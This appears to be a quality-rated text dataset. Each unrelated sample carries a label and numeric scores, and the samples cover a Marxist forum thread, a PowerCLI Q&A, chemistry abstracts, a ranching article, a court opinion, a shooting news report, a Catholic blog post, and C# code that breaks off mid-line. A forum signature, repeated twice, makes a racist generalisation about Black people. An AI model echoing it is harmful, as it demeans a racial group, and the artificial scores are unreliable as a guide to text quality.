that made me become a Marxist, rather than DM. Re: Anti-Dialectics site.... Blasphemy! I'm still trying to get my head around diamat. I think that people who are having a hard time understanding it may go to the anti dialectics side, simply because it's simpler. According to Rosa, dialectics is hard because it is nonsensical. She attempts to demonstrate this by taking dialectics to the absurd. Also, her core argument is about showing that with dialectics change is supposedly impossible (inverting the idea that dialectics accounts for change). ☭ “The ideas of the ruling class are in every epoch the ruling ideas, i.e. the class which is the ruling material force of society, is at the same time its ruling intellectual force.” - Karl Marx ☭ The Following 2 Users Say Thank You to Comrade #138672 For This Useful Post: I saw that argument about how dialectics makes change impossible. Such a statement is pure mindfuckery I tell ya , and I have no idea how she came to that conclusion. Her whole rationale, if she even has any, is just plain bizarre. It would be like saying 'natural selection' and 'adaptation' prevent the course of evolution, lol. 'despite being a comedy, there's a lot of truth to this, black people always talking shit behind white peoples back. Blacks don't give a shit about white, why do whites give them so much "nice" attention?' I have read some of the material on the site, and I'm not exactly impressed. The author makes an interesting point from time to time (concerning isomeric molecules for example), but their examples seem to provide new examples of dialectical change rather than disproving it (since changes in the position of molecules are quantitative changes leading to qualitative changes). But the author's understanding of dialectical materialism is not as sound as the author believes it is. They constantly confuse materialist dialectics with Hegelian dialectics, and deal with opposite ideas instead of opposite tendencies in material phenomena. They object, for example, that male cats do not change into female cats. But this is absurd; "male" and "female" are often considered as opposite concepts (I would have hoped that someone that calls themselves a Marxist would know better, though), but "male" and "female" are not contradictory tendencies in individual cats. On the level of the population, the number of male and female cats are contradictory, and indeed we see a complex interplay of these numbers, driven partly by internal sexual dynamics and partly by external influences. I gave up on the section concerning the negation of the negation, where the author again tries to force dialectical materialism into the straightjacket of Hegelian triads and ignores the materialist meaning of the law - the retention of features of previous stages in new stages. At best, the author has a point against Hegel and against poor Engels when he uncritically assimilates Hegel's examples. At worst, this is a left-ish version of the Time Cube site. I don't know whether or not Rosa understands historical events. While she was making a fairly logical argument in the beginning, she's now blaming Dialectical materialism's logic for the collapse of the Soviet Union and she keeps referrencing Hegel, even though DM is supposed to be a total reverse of Hegel's idealism (hence why 'Marx turned Hegel on his head'). Still, an interesting viewpoint. I'll keep reading. 'despite being a comedy, there's a lot of truth to this, black people always talking shit behind white peoples back. Blacks don't give a shit about white, why do whites give them so much "nice" attention?' Rosa is an odd-ball, although I agree with some criticisms of the DM; but I can't take Rosa seriously, he argued that vaccines are useless and blah blah, for all his rejection of DM he's some kind of strange mystic who argues endlessly but without substance in queer semantic games designed to confuse the reader/debatee. Philosophy is bunk. The revolutionary despises public opinion. He despises and hates the existing social morality in all its manifestations. For him, morality is everything which contributes to the triumph of the revolution. Immoral and criminal is everything that stands in its way. The Following 3 Users Say Thank You to Sperm-Doll Setsuna For This Useful Post: There has been a great amount of dialectical thought that is not orthodox "DM" or "diamat" or whatever you want to call it. Most of Rosa's criticisms seem to be about that orthodox school which no modern Marxist philosophers hold, as far as I can tell. A good book to try for an overview of modern philosophical dialectics is Fredric Jameson's "Valences of the Dialectic". Further, I think the allegations of vagueness and such are not as watertight as Rosa would like to think. These allegations, if formal, are nonsensical due to the tired old critiques of positivism/"natural types"/vulgar empiricism. The definition of what is clear or non-vague necessarily rests on intuition, which is not uniform between people. If informal, they are also nonsensical due to, once again, their hypocritical vagueness. If someone brings up more specific points, I can try to address those more thoroughly, but as has been remarked, there is just so much.	Mid	[ 0.569920844327176, 27, 20.375 ]
Q: powerCLI restart VM guest from script i'm trying to run batch script which will call ps1 in order to restart VM guest. it's working when i ran it seperate but the problem is that powerCLI on CMD load without the arguments. i have tried run it by steps : echo on C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noe -c ". \"C:\Program Files (x86)\VMware\Infrastructure\PowerCLI\Scripts\Initialize-PowerCLIEnvironment.ps1\" $true" then on cmd : connect -viserver -server "serverName" -Protocol https -User "user"-Password "pass" then : Restart-VM "VMserverName" -RunAsync -Confirm:$false it is all works fine separately but when try to combine it all - it is not working. seems like powerCLI load faster then the console write. i have trying Start-Sleep -s 10 command but with no success. how can i combine all 3 commands above in one file? A: To execute PowerShell commands from a cmd, you will have to pass them along using the Command-Switch of from PowerShell. You could achieve what you want by executing the following command: powershell -Command "Import-Module VMware.VimAutomation.Core; Connect-VIServer -Server <server> -User <user> -Password <password>; Restart-VM <vm_name> -RunAsync -Confirm:$false" This is a very cumbersome way of doing this. I would suggest directly using PowerShell and have at least the ability to properly format the script: Import-Module VMware.VimAutomation.Core Connect-VIServer -Server <server> -User <user> -Password <password> Restart-VM <vm_name> -RunAsync -Confirm:$false You would still be able to call this PowerShell script from a cmd, by using the File-Parameter: powershell -File <script>	Mid	[ 0.6277056277056271, 36.25, 21.5 ]
Progressive Increase in Disinfection Byproducts and Mutagenicity from Source to Tap to Swimming Pool and Spa Water: Impact of Human Inputs. Pools and spas are enjoyed throughout the world for exercise and relaxation. However, there are no previous studies on mutagenicity of disinfected spa (hot tub) waters or comprehensive identification of disinfection byproducts (DBPs) formed in spas. Using 28 water samples from seven sites, we report the first integrated mutagenicity and comprehensive analytical chemistry of spas treated with chlorine, bromine, or ozone, along with pools treated with these same disinfectants. Gas chromatography (GC) with high-resolution mass spectrometry, membrane-introduction mass spectrometry, and GC-electron capture detection were used to comprehensively identify and quantify DBPs and other contaminants. Mutagenicity was assessed by the Salmonella mutagenicity assay. More than 100 DBPs were identified, including a new class of DBPs, bromoimidazoles. Organic extracts of brominated pool/spa waters were 1.8× more mutagenic than chlorinated ones; spa waters were 1.7× more mutagenic than pools. Pool and spa samples were 2.4 and 4.1× more mutagenic, respectively, than corresponding tap waters. The concentration of the sum of 21 DBPs measured quantitatively increased from finished to tap to pool to spa; and mutagenic potency increased from finished/tap to pools to spas. Mutagenic potencies of samples from a chlorinated site correlated best with brominated haloacetic acid concentrations (Br-HAAs) (r = 0.98) and nitrogen-containing DBPs (N-DBPs) (r = 0.97) and the least with Br-trihalomethanes (r = 0.29) and Br-N-DBPs (r = 0.04). The mutagenic potencies of samples from a brominated site correlated best (r = 0.82) with the concentrations of the nine HAAs, Br-HAAs, and Br-DBPs. Human use increased significantly the DBP concentrations and mutagenic potencies for most pools and spas. These data provide evidence that human precursors can increase mutagenic potencies of pools and spas and that this increase is associated with increased DBP concentrations.	High	[ 0.6773761713520751, 31.625, 15.0625 ]
How the Sand Ranch Became Profitable (And How You Can Do It Too!) This is the first in a series that ran through May of 2016. It takes us through the changes that Cody and Deanna Sand made to their operation that mad their ranch profitable and their lives more fun. Cody and Deanna shared their story at NatGLC’s 2015 grazing conference. Enjoy! The year that they sold their calves and still couldn’t pay all their bills, Cody and Deanna Sand asked their banker what they should do for the coming year. His suggestion, to borrow more money, just wasn’t going work. Between Deanna’s off-farm job and Cody making and repairing saddles and working on the farm, they were already working harder and harder, having less and less fun and going further into debt. Something had to change, and fast! What they did is a testament to what happens when you look at your problems in a new way and then dig in and do something about them. Holistic Management Course Paves the Way The Sand Ranch is near Forbes, North Dakota. It was started by Deanna’s grandparents and Cody and Deanna took it over from her parents in 1999 and then purchased it in 2001 They continued to run the cow calf operation as it had always been run. They calved their cows in March and their heifers in April, running them in 2 to 3 minimally rotated groups through the summer. They grew and put up 3,000 bales of hay a summer, and fed through the winter. Calves were weaned, backgrounded and sold. Through it all, Deanna drove 60 miles one way to work every day and Cody built saddles at home. The harder they worked, the less fun it was for everyone, and when, in 2010 they still had $20,000 in carry over bills after all the calves were sold, the look on her husband’s face told Deanna something had to change. Shortly after, they learned about a Holistic Management course being presented by Josh Dukart, and they signed up for it immediately. For 3 days in February of 2011, with temperatures dropping to -42 F they drove back and forth to Bismarck for the course, feeding cattle at home, and feeding their brains in Bismarck. The reward was a new way to look at their ranch and how they could run it. Deanna shares their “Ah Ha!” moments in this slide from their presentation at the 2015 North Dakota Grazing Lands Coalition winter meeting. From timing of calving to reducing haying and better managing their grazing, Deanna and Cody went home with ideas they could start implementing almost immediately. But most importantly, they saw how doing these things could improve their quality of life so that ranching could be fun again. First Things First Three and a half tons of wire – the last load as the Sands trimmed their equipment and paid off debt. What they really wanted to do was change their calving season from March and April to May and June. But since the cows were already bred, they were stuck for one more calving season. Instead, they stopped spending money and began paying off debt by selling off equipment. The calf shelters, tire tanks and windbreaks went, as did some haying equipment and anything else they weren’t going to need under new management. Next, they changed their summer grazing routine. Instead of 3 to 4 groups, they put all the cattle into one herd. This decreased the time spent checking the fence and moving the cows. In class, they’d learned that they had been under-stocking and over-grazing. Now they graze more animals in a smaller area for less time, which has improved soil health and forage. The Kentucky blue grass invasion is slowing and diversity is exploding. The litter mat they leave behind reduces rain run off, and decreases soil temperatures and evaporation. In fact, the grazed pastures are in better shape than ungrazed acres as their daughter Dessa discovered with her Science Fair Project. Top bars show never grazed and season long grazed CRP. Bottom 2 bars show managed grazing on CRP and then on native rangeland. Click to see a larger view. As other large scale graziers have noted, one of the biggest benefits of their new grazing management style is rest and recovery. Now, Sand Ranch cattle are only in some pasture for a few days a year. Even when Cody worries that they’ve made a mistake and grazed one spot too long, he’s learned that it actually comes back better than before after a good rest. Who Knew Cows Could Calve Their Own?! Changing to May June calving means the Sands don’t have “Gopher” cows anymore. This 7 year old cow is one of their best, but she was born in the old days when freezing temps could ruin a cows ears and good looks. The next change was moving calving season from March and April to May and June. Though it was hard that first year to hold off putting the bulls in with the cows at the same time that everyone else was doing it, the rewards made up for it. First, the cows nutritional requirements are reduced during they winter months. So the Sands save money because they don’t have to supplement the cows with hay before and after calving. In the old days, feeding in March and April was a big expense. Now, the cows meet their nutritional requirements by grazing on the lush spring grass. They also save time on checking the herd during calving. Cody says that the first year they went and checked the herd 2 to 3 times a day out of habit. But now, they know that the cows are going to calve without help, so this year they only checked on them when they were moving them to a new pasture. They rarely have to pull calves now, and they’re even reducing this problem. They get rid of problem cows every year so that their herd becomes stronger and stronger. The calves are healthier thanks to a later calving season. There are no more scours or pneumonia to deal with. The family is healthier too because they don’t have to leave the house in a blizzard. His one worry, predators, have turned out not to be a problem at all. Predators have not been a problem calving on green grass. The 3 to 4 coyotes on his place have plenty of other, easier food options in May and June. Cody says that if he had to go back to calving in the cold and snow of “spring” he would probably give up cattle. In addition to how much easier their lives have become, they’ also reduced input costs. Here are all the things they got rid of by changing to May/June calving: So far so good, right? But what about fencing all those new pastures for their new management? And what do they do in winter? What about hay? And what are the changes in heifer management and marketing that come with a later calving season? We’ll share the Sands’ answers to those questions in the next articles. Click here to read Part 2. About the author Kathy worked with the Bureau of Land Management for 12 years before founding Livestock for Landscapes in 2004. Her twelve years at the agency allowed her to pursue her goal of helping communities find ways to live profitably AND sustainably in their environment. She has been researching and working with livestock as a land management tool for over a decade. When she's not helping farmers, ranchers and land managers on-site, she writes articles, and books, and edits videos to help others turn their livestock into landscape managers.	Mid	[ 0.594660194174757, 30.625, 20.875 ]
J-S76045-16 NON-PRECEDENTIAL DECISION - SEE SUPERIOR COURT I.O.P. 65.37 COMMONWEALTH OF PENNSYLVANIA IN THE SUPERIOR COURT OF PENNSYLVANIA Appellee v. JAMIE KIRNON Appellant No. 1101 EDA 2016 Appeal from the PCRA Order March 8, 2016 In the Court of Common Pleas of Philadelphia County Criminal Division at No(s): CP-51-CR-0503741-2001 BEFORE: STABILE, J., DUBOW, J., and STEVENS, P.J.E.* MEMORANDUM BY STEVENS, P.J.E.: FILED OCTOBER 21, 2016 Appellant Jamie Kirnon appeals from the order entered in the Court of Common Pleas of Philadelphia County on March 8, 2016, dismissing as untimely his third petition filed pursuant to the Post Conviction Relief Act (“PCRA”), 42 Pa.C.S.A. §§ 9541-9546. We affirm. In 1998, Appellant and his cohort, Rafael Stewart, shot and killed Darius Cuthbert and seriously wounded Omar Johnson in connection with a drug-related confrontation. Following a jury trial, on November 4, 2003, Appellant was convicted of first-degree murder, aggravated assault, criminal conspiracy, possessing an instrument of crime and carrying a firearm on a ____________________________________________ * Former Justice specially assigned to the Superior Court. J-S76045-16 public street.1 On November 5, 2003, following the penalty phase of the trial, the jury sentenced Appellant to life imprisonment on the first-degree murder conviction, and on December 22, 2003, the trial court imposed consecutive sentences for the criminal conspiracy and aggravated assault convictions. Following the denial of his post-sentence motion, Appellant filed a timely appeal. This Court affirmed Appellant’s judgment of sentence on January 13, 2005, and Appellant did not seek further review with our Supreme Court. On January 13, 2006, Appellant filed, pro se, a timely PCRA petition. Counsel was appointed, and by order and opinion entered on October 5, 2006, the PCRA court dismissed Appellant’s petition and permitted counsel to withdraw. Appellant filed a second petition on June 2, 2011, and the PCRA court dismissed it as untimely on March 5, 2014. On appeal, this Court affirmed both PCRA orders. Appellant filed the instant PCRA petition, pro se, on January 30, 2015, as well as several amended petitions thereafter. Appellant retained counsel who requested leave to amend. The PCRA court granted that relief on June 2, 2015, and Appellant filed his Amended Motion for Post Conviction Relief on August 28, 2015. The basis for Appellant’s initial petition and amended, counseled petition arises from the testimony Mr. Johnson provided at Mr. ____________________________________________ 1 18 Pa.C.S.A. §§ 2502, 2702, 903, 6108, and 907, respectively. -2- J-S76045-16 Stewart’s trial in 2014 which Appellant avers constitutes newly discovered evidence.2 On March 8, 2016, the PCRA court dismissed Appellant’s petition as untimely, and Appellant filed a timely notice of appeal on April 6, 2016. The PCRA court did not direct Appellant to file a statement of matters complained of on appeal pursuant to Pa.R.A.P. 1925(b), and Appellant did not file one. The PCRA court filed its Opinion pursuant to Pa.R.A.P. 1925(a) on April 26, 2016, wherein it requested that this Court affirm its order dismissing appellant’s PCRA petition for the reasons contained in its March 8, 2016, opinion. In his brief, Appellant presents the following Statement of the Question Involved: Did the PCRA court err and violate Appellant’s Fourth, Sixth and Fourteenth Amendment rights by finding that the new evidence petition was untimely filed? Appellant’s Brief at 4. The text of Appellant’s brief essentially reiterates the claims he made in his Amended Motion for Post Conviction Relief filed on August 28, 2015. Preliminarily, we must determine whether Appellant’s instant PCRA petition was timely filed. See Commonwealth v. Hutchins, 760 A.2d 50 ____________________________________________ 2 After the shooting, Mr. Stewart had been “on the run” and was not apprehended and brought to trial until 2014. -3- J-S76045-16 (Pa.Super. 2000). “Our standard of review is whether the PCRA court’s order is supported by the record and without legal error.” Commonwealth v. Wojtaszek, 951 A.2d 1169, 1170 (Pa.Super. 2008) (citation omitted). Pennsylvania law makes it clear that no court has jurisdiction to hear an untimely PCRA petition. Commonwealth v. Robinson, 575 Pa. 500, 837 A.2d 1157 (2003). The most recent amendments to the PCRA, effective January 19, 1996, provide that a PCRA petition, including a second or subsequent petition, shall be filed within one year of the date the underlying judgment becomes final. 42 Pa.C.S.A. § 9545(b)(1). A judgment is deemed final “at the conclusion of direct review, including discretionary review in the Supreme Court of the United States and the Supreme Court of Pennsylvania, or at the expiration of time for seeking review.” 42 Pa.C.S.A. § 9545(b)(3). The three statutory exceptions to the timeliness provisions in the PCRA allow for very limited circumstances under which the late filing of a petition will be excused. 42 Pa.C.S.A. § 9545(b)(1). To invoke an exception, a petition must allege and the petitioner must prove: (i) the failure to raise the claim previously was the result of interference by government officials with the presentation of the claim in violation of the Constitution or the law of this Commonwealth or the Constitution or law of the United States; (ii) the facts upon which the claim is predicated were unknown to the petitioner and could not have been ascertained by the exercise of due diligence; or (iii) the right asserted is a constitutional right that was recognized by the Supreme Court of Pennsylvania after -4- J-S76045-16 the time period provided in this section and has been held by that court to apply retroactively. 42 Pa.C.S.A. § 9545(b)(1)(i)-(iii). “We emphasize that it is the petitioner who bears the burden to allege and prove that one of the timeliness exceptions applies.” Commonwealth v. Marshall, 596 Pa. 587, 596, 947 A.2d 714, 719 (2008) (citation omitted). In the case sub judice, Appellant was sentenced to life imprisonment on November 5, 2003, and to consecutive prison sentences for aggravated assault and criminal conspiracy on December 22, 2003. This Court affirmed his judgment of sentence on January 13, 2005. Appellant did not file a petition for allowance of appeal; therefore, Appellant’s judgment of sentence became final thirty days thereafter, on February 12, 2005, when the time for seeking allocator with our Supreme Court expired. See 42 Pa.C.S.A. § 9545(b)(3) (providing “a judgment becomes final at the conclusion of direct review, including discretionary review in the Supreme Court of the United States and the Supreme Court of Pennsylvania, or at the expiration of time for seeking the review[ ]”). Thus, Appellant had until February 13, 2006, to file a timely PCRA petition; however, Appellant filed the instant PCRA petition on January 30, 2015; therefore, it is patently untimely under the PCRA. See 42 Pa.C.S.A. § 9545(b)(1); Commonwealth v. Gamboa- Taylor, 562 Pa. 70, 753 A.2d 780 (2000) (holding a PCRA petition filed more than one year after judgment of sentence becomes final is untimely -5- J-S76045-16 and the PCRA court lacks jurisdiction to address the petition unless the petitioner pleads and proves a statutory exception to the PCRA time-bar). As such, the PCRA court could not address the merits of Appellant’s petition unless a timeliness exception applies. Appellant attempts to invoke the timeliness exception of 42 Pa.C.S.A. § 9545(b)(1)(ii) by claiming the testimony provided by Mr. Johnson during Mr. Stewart’s trial constitutes newly discovered evidence. Appellant alleges he first became aware of Mr. Stewarts’s trial from a newspaper article published on November 19, 2014, but he was unable to obtain the trial transcripts until April 15, 2015. See Amended Motion for Post Conviction Relief at 6-7 (unnumbered). Appellant maintains that upon reading the notes of testimony he learned Mr. Johnson had committed the crime of perjury as to “key material issues” when he testified at Appellant’s trial, a fact which he could not establish until Mr. Johnson testified in Mr. Stewart’s case. Id. at 9, 11 (unnumbered). Appellant avers that while Mr. Johnson testified at Appellant’s trial that the shooting occurred in response to the victim’s having attempted to take over a “coke house,” he stated at Mr. Stewart’s trial that Appellant and Stewart shot him because he and Mr. Cuthbert had robbed the “drug house,” which went to the motive for the crime. Id. at 11. Appellant further notes that while at the first trial Mr. Johnson had indicated he and others had been merely standing on the corner prior to the shooting, at the Stewart trial he -6- J-S76045-16 stated he and others had been selling drugs on the corner. Id. at 12. Finally, Appellant stresses that Mr. Johnson maintained at Appellant’s trial an individual nicknamed “Nasty”3 had not been on the corner with them that evening, and in reliance upon this testimony, the defense did not call Mr. Arthur to testify as an eyewitness to the shooting. To the contrary, at Mr. Stewart’s trial, Mr. Johnson indicated “Nasty” was standing on the corner at the time of the shooting, which Appellant argues would have made his testimony as an eyewitness to the shooting vital at trial. Id. at 13-14. Although he acknowledged that “Johnson’s recantation still inculpates [Appellant] as Stewart’s accomplice,” Appellant baldly posits “the prejudicial impact that Johnson’s perjury had on [Appellant’s] verdict is of constitutional dimension.” Id. at 14. Our Supreme Court previously has stressed that the newly discovered evidence exception in Section 9545(b)(1)(ii) requires a petitioner to allege and prove that there were “facts” that were “unknown” to him and that he could not have ascertained those facts by the exercise of “due diligence.” Commonwealth v. Bennett, 593 Pa. 382, 930 A.2d 1264, 1270-72 (2007). To do so, an Appellant must prove that “(1) the evidence has been discovered after trial and it could not have been obtained at or prior to trial through reasonable diligence; (2) the evidence is not cumulative; (3) it is ____________________________________________ 3 “Nasty’s” given name is Lester Arthur. -7- J-S76045-16 not being used solely to impeach credibility; and (4) it would likely compel a different verdict.” Commonwealth v. D’Amato, 579 Pa. 490, 519, 856 A.2d 806, 823 (2004). Moreover, “[d]ue diligence demands that the petitioner take reasonable steps to protect his own interests. A petitioner must explain why he could not have learned the new fact(s) earlier with the exercise of due diligence. This rule is strictly enforced.” Commonwealth v. Williams, 35 A.3d 44, 53 (Pa.Super. 2011) (citations omitted). Further, “[t]he focus of the exception is on the newly discovered facts, not on a newly discovered or newly willing source for previously known facts.” Commonwealth v. Marshall, 596 Pa. 587, 596, 947 A.2d 714, 720 (2008) (emphasis in original). Additionally, as this Court has often explained, all of the time-bar exceptions are subject to a separate deadline. The statutory exceptions to the timeliness requirements of the PCRA are also subject to a separate time limitation and must be filed within sixty (60) days of the time the claim could first have been presented. See 42 Pa.C.S.A. § 9545(b)(2). The sixty (60) day time limit . . . runs from the date the petitioner first learned of the alleged after-discovered facts. A petitioner must explain when he first learned of the facts underlying his PCRA claims and show that he brought his claim within sixty (60) days thereafter. Williams, 35 A.3d at 53 (citations omitted). -8- J-S76045-16 In the case sub judice, assuming, arguendo, Appellant met the initial 60-day threshold,4 we conclude the trial court did not abuse its discretion in finding Mr. Johnson’s testimony did not provide “unknown facts.”5 In this regard, when determining that it lacked jurisdiction over Appellant’s third PCRA petition, the PCRA court reasoned as follows: The newly-discovered evidence-- Mr. Johnson’s testimony in the Stewart trial-- are [sic] only minor inconsistencies from his original testimony in [Appellant’s] case. The variations between the statements would merely be used to impeach Mr. Johnson’s credibility,6 which fails to qualify as after discovered evidence. Additionally, whether Lester Arthur was with Mr. Johnson at the corner of the shooting, or a city block away, does not amount to newly discovered evidence. As the Supreme Court of Pennsylvania clarified in Commonwealth v. Bennet, 930 A.2d 1264, 1272 (Pa. 2007), a defendant “must also prove that the facts were ‘unknown’ to him and that he could not uncover them with the exercise of ‘due diligence.’” [Appellant] states that he relied upon Mr. Johnson’s testimony as to Mr. Arthur’s view of the incident, and chose not to call Mr. Arthur as a witness on the ____________________________________________ 4 Appellant asserts that his sister, Margaret Shaw, acquired the notes of testimony from Mr. Stewart’s trial on March 18, 2015, and mailed them to Appellant at SCI Dallas where they were allegedly confiscated by the correctional institute as contraband and were not released to Appellant until April 15, 2015. Appellant’s Brief at 11-12. 5 It is noteworthy that although Appellant cites to and references Mr. Johnson’s testimony from Mr. Stewart’s’ trial to support his claims, he has failed to provide us with a complete trial transcript; therefore, our review of the testimony is limited to the excerpts thereof which Appellant attached to his pro se PCRA petition filed on May 12, 2015. We remind Appellant that “[i]t is black letter law in this jurisdiction that an appellate court cannot consider anything which is not part of the record in the case. It is also well- settled in this jurisdiction that it is Appellant's responsibility to supply this Court with a complete record for purposes of review.” Commonwealth v. Martz, 926 A.2d 514, 524–525 (Pa.Super. 2007) (citations omitted) appeal denied, 940 A.2d 363 (Pa. 2008). -9- J-S76045-16 belief that he would not provide any helpful information. See Amended Petition, at[] 13. Rather than conducting due diligence at the time of trial and question Mr. Arthur as to what he witnessed, [Appellant] waited until Mr. Johnson’s testimony eleven years after the fact to consider whether Mr. Arthur has any relevant information.[7] More importantly, any differences between the two testimonies cannot overcome the pivotal fact which Mr. Johnson reiterated in the Stewart trial- that [Appellant] was one of the shooters. There is no basis to conclude that the inconsistencies would likely compel a different outcome. __ 6 For example, this court cannot imagine that the jury would hold Mr. Johnson’s testimony in a different light had they [sic] been informed that Mr. Johnson, along with Messrs. Cuthbert and Gissentanner, were selling drugs immediately before the shooting. Not only had Mr. Johnson testified during [Appellant’s] trial that he sold drugs from 1996 to 1998 and was arrested for selling drugs in 2001, the jury was also informed that Mr. Johnson was in custody awaiting trial for murder in New York. 7 In fact, [Appellant] did not attach a sworn affidavit from Mr. Arthur, and again relies on Mr. Johnson’s memory if Mr. Arthur might have witnessed the murder. Trial Court Opinion, filed 3/8/16, at 4-5. Upon our review of the excerpts of Mr. Johnson’s testimony which Appellant has provided for our review, we agree with the PCRA court’s finding that Appellant has failed to demonstrate such testimony satisfies the newly discovered evidence exception to the PCRA time bar. Rather than demonstrate Johnson committed perjury at Appellant’s trial, the inconsistencies in his testimony at the two proceedings, which were separated by ten years, pertain to such details as where individuals were standing and what they were doing at the time of the shooting. While one’s memory of such details is likely to be affected by the passage of time, - 10 - J-S76045-16 significantly, Mr. Johnson never wavered in his identification of Appellant as a shooter at Appellant’s trial, and he reaffirmed Appellant shot repeatedly at him at Mr. Stewart’s trial. N.T. Stewart Trial, 11/13/14, at 23-25.6 As such, Mr. Johnson’s testimony cannot be viewed as exculpatory evidence, but rather its use would be solely to impeach his prior testimony. Commonwealth v. Padillas, 997 A.2d 356, 365 (Pa.Super. 2010) (“a defendant seeking a new trial must demonstrate he will not use the alleged after-discovered evidence solely to impeach the credibility of a witness”). Accordingly, because Appellant has not established any of the timeliness exceptions to the PCRA time-bar, the PCRA court lacked jurisdiction to address his claim, and we affirm the dismissal of Appellant's instant untimely PCRA petition. Order Affirmed. Judgment Entered. Joseph D. Seletyn, Esq. Prothonotary Date: 10/21/2016 ____________________________________________ 6 In addition, another eyewitness, Danny Gissentanner, unequivocally identified Appellant as one of the shooters at Appellant’s trial, and his testimony was corroborated by ballistics evidence. - 11 -	Low	[ 0.47058823529411703, 26, 29.25 ]
Polyacrylic acid-coated cerium oxide nanoparticles: An oxidase mimic applied for colorimetric assay to organophosphorus pesticides. It is important and urgent to develop reliable and highly sensitive methods that can provide on-site and rapid detection of extensively used organophosphorus pesticides (OPs) for their neurotoxicity. In this study, we developed a novel colorimetric assay for the detection of OPs based on polyacrylic acid-coated cerium oxide nanoparticles (PAA-CeO2) as an oxidase mimic and OPs as inhibitors to suppress the activity of acetylcholinesterase (AChE). Firstly, highly dispersed PAA-CeO2 was prepared in aqueous solution, which could catalyze the oxidation of TMB to produce a color reaction from colorless to blue. And the enzyme of AChE was used to catalyze the substrate of acetylthiocholine (ATCh) to produce thiocholine (TCh). As a thiol-containing compound with reducibility, TCh can decrease the oxidation of TMB catalyzed by PAA-CeO2. Upon incubated with OPs, the enzymatic activity of AChE was inhibited to produce less TCh, resulting in more TMB catalytically oxidized by PAA-CeO2 to show an increasing blue color. The two representative OPs, dichlorvos and methyl-paraoxon, were tested using our proposed assay. The novel assay showed notable color change in a concentration-dependent manner, and as low as 8.62 ppb dichlorvos and 26.73 ppb methyl-paraoxon can be readily detected. Therefore, taking advantage of such oxidase-like activity of PAA-CeO2, our proposed colorimetric assay can potentially be a screening tool for the precise and rapid evaluation of the neurotoxicity of a wealth of OPs.	Mid	[ 0.6492890995260661, 34.25, 18.5 ]
Image copyright Seminole County Sheriff's Office Image caption John Robert Neumann had a history of misdemeanour criminal offences A disgruntled US employee walked back into the factory that fired him and fatally shot five ex-colleagues, before killing himself, police say. John Robert Neumann, 45, was armed with a semi-automatic handgun and hunting knife when he entered the business near Orlando, Florida, on Monday morning. The US army veteran was sacked in April, police say. There is no suggestion he was a member of a subversive or terrorist organisation, they add. Media playback is unsupported on your device Media caption Orange County Sheriff Jerry Demings says seven survivors are being interviewed Orange County Sheriff Jerry Demings said the shooting had unfolded at the premises of Fiamma, which makes awnings for motor homes and camper vans. Most of the victims were shot in the head, some multiple times, he added. "He was certainly singling out the individuals that he shot," said Sheriff Demings. The victims included Robert Snyder, 69, Brenda Montanez-Crespo, 44, Kevin Clark, 53, Jeffrey Roberts, 57, and another unidentified man. Image copyright AFP Image caption Police moved into the scene of the crime within minutes Neumann reloaded his handgun at least once during the rampage, the sheriff said. The gunman had told an employee whom he did not know to leave the premises, and left about seven other staff members uninjured. Neumann - who lived alone in the area - killed himself as deputies were about to enter the warehouse, the sheriff said. Authorities say he did not have a permit for the weapon. He was honourably discharged from the army in 1999. Image copyright Reuters He had a history of misdemeanour criminal offences, such as possession of marijuana and driving under the influence. Neumann attacked a member of staff in 2014, though no charges were filed, police said. In a statement, Florida Governor Rick Scott condemned a "senseless act of violence". "Over the past year, the Orlando community has been challenged like never before," he said. The shooting came a week before the first anniversary of the Pulse nightclub shooting that left 49 people dead in Orlando. In last June's attack, the deadliest mass shooting in modern US history, gunman Omar Mateen killed 49 people and injured dozens more at a gay nightclub before being shot dead by police.	Low	[ 0.5288888888888881, 29.75, 26.5 ]
Search form You are here A bitter pill? German bishops take a bold step in allowing emergency contraception As the Catholic bishops in the United States continue to fight for their religious liberty by arguing that opposition to all artificial contraception is a deeply held belief of the Catholic faith, the German Catholic bishops have gone in the opposite direction, announcing they will now allow Catholic hospitals to give the "morning after" pill to rape victims. Archbishop Robert Zollitsch said a four-day meeting of German bishops in the western town of Trier had "confirmed that women who have been victims of rape will get the proper human, medical, psychological and pastoral care". "That can include medication with a 'morning-after pill' as long as this has a prophylactic and not an abortive effect," he said in a statement. "Medical and pharmaceutical methods that induce the death of an embryo may still not be used." This means the German bishops are drawing a distinction between contraceptives that prevent pregnancy and those that might halt the development of an already fertilized egg. That distinction maintains the church's teaching that human life begins at the moment of conception, but is a departure from the church's belief that any artificial means of preventing pregnancy is immoral. The German bishops' decision stems from a case in which a woman was denied treatment at a German Catholic hospital after being drugged at a party and raped. The bishops had to wade through some complex questions here, such as whether taking artificial steps to prevent pregnancy--which some see as God's will, even in rape cases--is ever morally justified. Their conclusion that it is an acknowledgement of the fact that contraception may not be as much of a black and white issue as some Catholics would believe. I don't expect the German bishops' decision to be the tidal wave that changes the church's stance on contraception. But it certainly is a ripple in the ocean that will get people talking. I'm sure that many Catholics would like to see the issue brought up for a serious debate in the global church, even if that discussion doesn't seem to fit the agenda of the U.S. bishops.	Mid	[ 0.602803738317757, 32.25, 21.25 ]
// Copyright (c) 2014 AlphaSierraPapa for the SharpDevelop Team // // Permission is hereby granted, free of charge, to any person obtaining a copy of this // software and associated documentation files (the "Software"), to deal in the Software // without restriction, including without limitation the rights to use, copy, modify, merge, // publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons // to whom the Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all copies or // substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, // INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR // PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE // FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER // DEALINGS IN THE SOFTWARE. using System; using System.Collections.Generic; using ICSharpCode.Reporting.Interfaces; using ICSharpCode.Reporting.Interfaces.Export; using ICSharpCode.Reporting.PageBuilder.ExportColumns; namespace ICSharpCode.Reporting.Items { /// <summary> /// Description of ReportContainer. /// </summary> public class ReportContainer:PrintableItem,IReportContainer { public ReportContainer() { items = new List<IPrintableObject>(); } private List<IPrintableObject> items; public List<IPrintableObject> Items { get { return items; } } public override IExportColumn 